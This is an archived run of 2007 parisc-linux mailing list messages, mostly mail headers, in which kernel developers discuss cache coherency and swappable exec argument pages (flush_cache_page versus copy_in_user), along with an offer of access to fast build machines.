	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01986-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 May 2007 11:39:37 -0600 (MDT)
Original-Received: from an-out-0708.google.com (an-out-0708.google.com [209.85.132.240])
	by free.linux.hp.com (Postfix) with ESMTP id AA01C7DBBB
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 May 2007 11:39:37 -0600 (MDT)
Original-Received: by an-out-0708.google.com with SMTP id c18so681422anc
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 03 May 2007 10:39:37 -0700 (PDT)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=dvFjZVcdqTgYngctUXAjSpZpZcUW6wSEPEKLOMLzwYhJlUlixf+rpsQBpJq3Xxp+w5vLPLCGVwxwEepUscDXr0NpXMLKfyWvbdPPiJP5gS693JvTXb/HNCXs5sv49sd0BqgpYoREiszn4tJHtrSr1X8LDWeJnSG4hTj/OaxVEt4=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=g0hPECNugLSN510JDx/EYqaGAT32Rmi1JBkBeLzYYbxlXDPIPsp0YBfvF0demp+XVp+r8JXtBKpKIrAYya4hkJ+mH0xnopKVWMhynJl2wXlkyfMm/RXKY9IRkfK8oUyuRCpMzQg6XhCJtvWSCKS1hQbcSDsXdHMgPvgZDZvzoFE=
Original-Received: by 10.100.251.9 with SMTP id y9mr1852584anh.1178213977009;
	Thu, 03 May 2007 10:39:37 -0700 (PDT)
Original-Received: by 10.100.133.10 with HTTP; Thu, 3 May 2007 10:39:36 -0700 (PDT)
In-Reply-To: <4639DE38.3000108@aurel32.net>
Content-Disposition: inline
X-Google-Sender-Auth: d194635e0127a144
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UCwDc3MaeWU7l7eUfHVzwRM5U3U4Nw9f
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24515

On 5/3/07, Aurelien Jarno <aurelien@aurel32.net> wrote:

> My machine is too slow to build a glibc (I am doing my gcc tests on
> paer.d.o). Would it be possible to do the same tests with my patch?

Hi Aurelien

If you need access to fast hppa machines, I can fix that ;)

HTH

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] memory management issues
Date: Wed, 02 May 2007 18:39:52 -0500
Lines: 31
Approved: news@gmane.org
Message-ID: <1178149192.3712.28.camel__12971.1490510546$1416624349$gmane$org@mulgrave.il.steeleye.com>
References: <65dd6fd50704301144k77003d1he9f85f4bb6cf2ace@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624349 23710 80.91.229.3 (22 Nov 2014 02:45:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:49 +0000 (UTC)
Cc: Peter Zijlstra <a.p.zijlstra@chello.nl>,
 parisc-linux@lists.parisc-linux.org
To: Ollie Wild <aaw@google.com>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2007 23:40:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx099) with SMTP; 03 May 2007 01:40:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7AEC77DB81;
	Wed,  2 May 2007 17:40:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23094-09; Wed, 2 May 2007 17:40:07 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 51D4E7DB82;
	Wed,  2 May 2007 17:40:06 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E90D27DB7F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 May 2007 17:39:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23016-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 2 May 2007 17:39:58 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id E6B237DB7E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 May 2007 17:39:57 -0600 (MDT)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l42Ndqk22460; 
	Wed, 2 May 2007 19:39:52 -0400
In-Reply-To: <65dd6fd50704301144k77003d1he9f85f4bb6cf2ace@mail.gmail.com>
X-Mailer: Evolution 2.8.3 (2.8.3-2.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: bxYLd3N/Iyd11fqQe2drQ8Vaa2FkZtX4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24516

On Mon, 2007-04-30 at 11:44 -0700, Ollie Wild wrote:
> In response to previous attempts to increase the command line
> limitation (http://thread.gmane.org/gmane.linux.kernel/418858), Linus
> has indicated that any temporary pages should be swappable.  This
> patch attempts to solve this problem by creating the new process's
> mm_struct early in the do_execve() callchain and writing directly into
> the new stack segment (cf. copy_strings()).  When I instrument this on
> an a500, I observe that the pages are setup correctly and contain
> valid values up until the call to switch_mm() via the call stack:
> 
>   activate_mm()
>   exec_mmap()
>   flush_old_exec()
>   load_elf_binary()
>   do_execve()
> 
> Afterwards, the pages are zeroed.

Give me more of a clue on this one ... afterwards *who* sees the pages
as zero'd?  The user or the kernel ... if the user, I think it's a
simple coherency problem.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ollie Wild" <aaw@google.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] memory management issues
Date: Thu, 3 May 2007 10:55:19 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <65dd6fd50705031055p1fa02d55j6fd729239ea35d38__9339.01536413959$1416624350$gmane$org@mail.gmail.com>
References: <65dd6fd50704301144k77003d1he9f85f4bb6cf2ace@mail.gmail.com>
	<1178149192.3712.28.camel@mulgrave.il.steeleye.com>
	<65dd6fd50705021652s3b3b721dl6a8323259cd4efa9@mail.gmail.com>
	<1178153532.3712.39.camel@mulgrave.il.steeleye.com>
	<65dd6fd50705030111i993390bx829ee5eb8a188462@mail.gmail.com>
	<1178203985.3714.11.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624350 23715 80.91.229.3 (22 Nov 2014 02:45:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:50 +0000 (UTC)
Cc: Peter Zijlstra <a.p.zijlstra@chello.nl>,
 parisc-linux@lists.parisc-linux.org
To: "James Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 May 2007 17:55:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 03 May 2007 19:55:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E39727DBE8;
	Thu,  3 May 2007 11:55:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02325-08; Thu, 3 May 2007 11:55:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B1F07DBE0;
	Thu,  3 May 2007 11:55:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C22857DBDF
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 May 2007 11:55:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02360-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 May 2007 11:55:38 -0600 (MDT)
Original-Received: from smtp-out.google.com (smtp-out.google.com [216.239.33.17])
	by free.linux.hp.com (Postfix) with ESMTP id C7F2E7DBDD
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 May 2007 11:55:37 -0600 (MDT)
Original-Received: from spaceape14.eur.corp.google.com (spaceape14.eur.corp.google.com
	[172.28.16.148]) by smtp-out.google.com with ESMTP id l43HtWZ9020820
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 May 2007 18:55:32 +0100
DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:
	mime-version:content-type:content-transfer-encoding:
	content-disposition:references;
	b=a7npI5Yss/xy4eeikh9QQecGzYmsELpii48BQeTos8wAqUsJBooqR3yrI03K6saMf
	jTmbjgxZ+ylJJeRRL9N2Q==
Original-Received: from py-out-1112.google.com (pygz74.prod.google.com [10.34.227.74])
	by spaceape14.eur.corp.google.com with ESMTP id l43Hs8pY021606
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 May 2007 18:55:21 +0100
Original-Received: by py-out-1112.google.com with SMTP id z74so433113pyg
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 03 May 2007 10:55:21 -0700 (PDT)
Original-Received: by 10.35.89.10 with SMTP id r10mr3701843pyl.1178214921198;
	Thu, 03 May 2007 10:55:21 -0700 (PDT)
Original-Received: by 10.35.9.4 with HTTP; Thu, 3 May 2007 10:55:19 -0700 (PDT)
In-Reply-To: <1178203985.3714.11.camel@mulgrave.il.steeleye.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: EhoMdz19YmYSuunCanc3mKVKWkZTQVQ/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24517

> Really, given the page is already present and cached in user space, why
> not just copy through the user mappings instead of trying to map the
> pages into the kernel an then fix up coherence issues, copy then push
> the coherency back to the user ... the API you want is copy_in_user().

This doesn't work because we're copying between two different
mm_struct's.  Since we can't have both active at the same time, we
need to setup some sort of temporary mapping.

I could maybe check the vma boundaries and create new pages in the
kernel, but I still need to assign them to the process space to make
them swappable.  Since some binfmt's remove args, I'll also
potentially need to reload old pages, which means copy_strings() will
still need to call get_user_pages() to retrieve potentially swapped
out pages.

Ollie
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] memory management issues
Date: Thu, 03 May 2007 14:47:51 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <1178221672.3714.55.camel__7733.34910995818$1416624350$gmane$org@mulgrave.il.steeleye.com>
References: <65dd6fd50704301144k77003d1he9f85f4bb6cf2ace@mail.gmail.com>
	<1178149192.3712.28.camel@mulgrave.il.steeleye.com>
	<65dd6fd50705021652s3b3b721dl6a8323259cd4efa9@mail.gmail.com>
	<1178153532.3712.39.camel@mulgrave.il.steeleye.com>
	<65dd6fd50705030111i993390bx829ee5eb8a188462@mail.gmail.com>
	<1178203985.3714.11.camel@mulgrave.il.steeleye.com>
	<65dd6fd50705031055p1fa02d55j6fd729239ea35d38@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624350 23716 80.91.229.3 (22 Nov 2014 02:45:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:50 +0000 (UTC)
Cc: Peter Zijlstra <a.p.zijlstra@chello.nl>,
 parisc-linux@lists.parisc-linux.org
To: Ollie Wild <aaw@google.com>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 May 2007 19:48:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx046) with SMTP; 03 May 2007 21:48:09 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DAEBB7DBF4;
	Thu,  3 May 2007 13:48:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03267-10; Thu, 3 May 2007 13:48:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 02AEA7DBF0;
	Thu,  3 May 2007 13:48:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B47F57DBED
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 May 2007 13:48:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03207-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 May 2007 13:48:00 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id B13727DBEC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 May 2007 13:47:59 -0600 (MDT)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l43Jlqk12163; 
	Thu, 3 May 2007 15:47:52 -0400
In-Reply-To: <65dd6fd50705031055p1fa02d55j6fd729239ea35d38@mail.gmail.com>
X-Mailer: Evolution 2.8.3 (2.8.3-2.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Sw4cbmHwLi5n1PfRZWtpcwNjZml1ZNgB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24518

On Thu, 2007-05-03 at 10:55 -0700, Ollie Wild wrote:
> This doesn't work because we're copying between two different
> mm_struct's.  Since we can't have both active at the same time, we
> need to setup some sort of temporary mapping.
> 
> I could maybe check the vma boundaries and create new pages in the
> kernel, but I still need to assign them to the process space to make
> them swappable.  Since some binfmt's remove args, I'll also
> potentially need to reload old pages, which means copy_strings() will
> still need to call get_user_pages() to retrieve potentially swapped
> out pages.

OK, then you'll just have to go with flush_cache_page() ... it should be
reasonably efficient on parisc since I modified it to do non-current
flushing (which is really what you're doing).  However, you should be
aware that the original parisc implementation threw up its hands and
flushed the entire cache if it found a non-current page ... so if any
other architecture still does that, it will be remarkably inefficient
for you ...

I could give you an API on parisc to copy from one user process to
another via the user cache (which would avoid the coherence issues) but
I'm not sure it would necessarily be portable to other architectures.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ollie Wild" <aaw@google.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] memory management issues
Date: Thu, 3 May 2007 14:14:18 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <65dd6fd50705031414o1aa42979o1ece166eb4bfba19__28678.8523350426$1416624350$gmane$org@mail.gmail.com>
References: <65dd6fd50704301144k77003d1he9f85f4bb6cf2ace@mail.gmail.com>
	<1178149192.3712.28.camel@mulgrave.il.steeleye.com>
	<65dd6fd50705021652s3b3b721dl6a8323259cd4efa9@mail.gmail.com>
	<1178153532.3712.39.camel@mulgrave.il.steeleye.com>
	<65dd6fd50705030111i993390bx829ee5eb8a188462@mail.gmail.com>
	<1178203985.3714.11.camel@mulgrave.il.steeleye.com>
	<65dd6fd50705031055p1fa02d55j6fd729239ea35d38@mail.gmail.com>
	<1178221672.3714.55.camel@mulgrave.il.steeleye.com>
	<1178226216.2767.1.camel@lappy>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624350 23717 80.91.229.3 (22 Nov 2014 02:45:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:50 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 parisc-linux@lists.parisc-linux.org
To: "Peter Zijlstra" <a.p.zijlstra@chello.nl>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 May 2007 21:14:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 03 May 2007 23:14:45 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1A0197DBF5;
	Thu,  3 May 2007 15:14:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03752-10; Thu, 3 May 2007 15:14:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C74E37DBF6;
	Thu,  3 May 2007 15:14:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C5A717DBF3
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 May 2007 15:14:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03754-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 May 2007 15:14:34 -0600 (MDT)
Original-Received: from smtp-out.google.com (smtp-out.google.com [216.239.45.13])
	by free.linux.hp.com (Postfix) with ESMTP id 0AD917DBEA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 May 2007 15:14:34 -0600 (MDT)
Original-Received: from zps37.corp.google.com (zps37.corp.google.com [172.25.146.37])
	by smtp-out.google.com with ESMTP id l43LEQ5D028629
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 May 2007 14:14:29 -0700
DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:
	mime-version:content-type:content-transfer-encoding:
	content-disposition:references;
	b=apEzzpiODtoZxkycbVpCPdREmXrDWhfj/0tC3ZeYf/GLwuGWJU9UVzd8Cgqjm6KgH
	SVK2ifo+ELCuwA2A+/BOw==
Original-Received: from py-out-1112.google.com (pyhf31.prod.google.com [10.34.233.31])
	by zps37.corp.google.com with ESMTP id l43LEIPx002001
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 May 2007 14:14:18 -0700
Original-Received: by py-out-1112.google.com with SMTP id f31so574864pyh
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 03 May 2007 14:14:18 -0700 (PDT)
Original-Received: by 10.35.41.14 with SMTP id t14mr3881526pyj.1178226858174;
	Thu, 03 May 2007 14:14:18 -0700 (PDT)
Original-Received: by 10.35.9.4 with HTTP; Thu, 3 May 2007 14:14:18 -0700 (PDT)
In-Reply-To: <1178226216.2767.1.camel@lappy>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: pzxRLgECTlIvl7eQeGhrfLNGU2poZdmN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24519

> I think this is best; if we were to go with a parisc specific API here,
> all other arches that hit this will be in pain. Better fix their
> flush_cache_page() if and when it really is a problem.

Agreed.  Thanks for your help, James.

> Ollie, how about posting this to lkml, and get some feedback, now that
> its mostly complete.

Yep.  I want to port this back to my mainline branch and run a few
sanity check on x86 and uml.  Assuming all looks good, I'll send it
out to lkml tonight or tomorrow morning.

Ollie
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned access using bash on glibc 2.5
Date: Fri, 04 May 2007 01:54:54 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <463A764E.4030606__20518.3060760193$1416624350$gmane$org@aurel32.net>
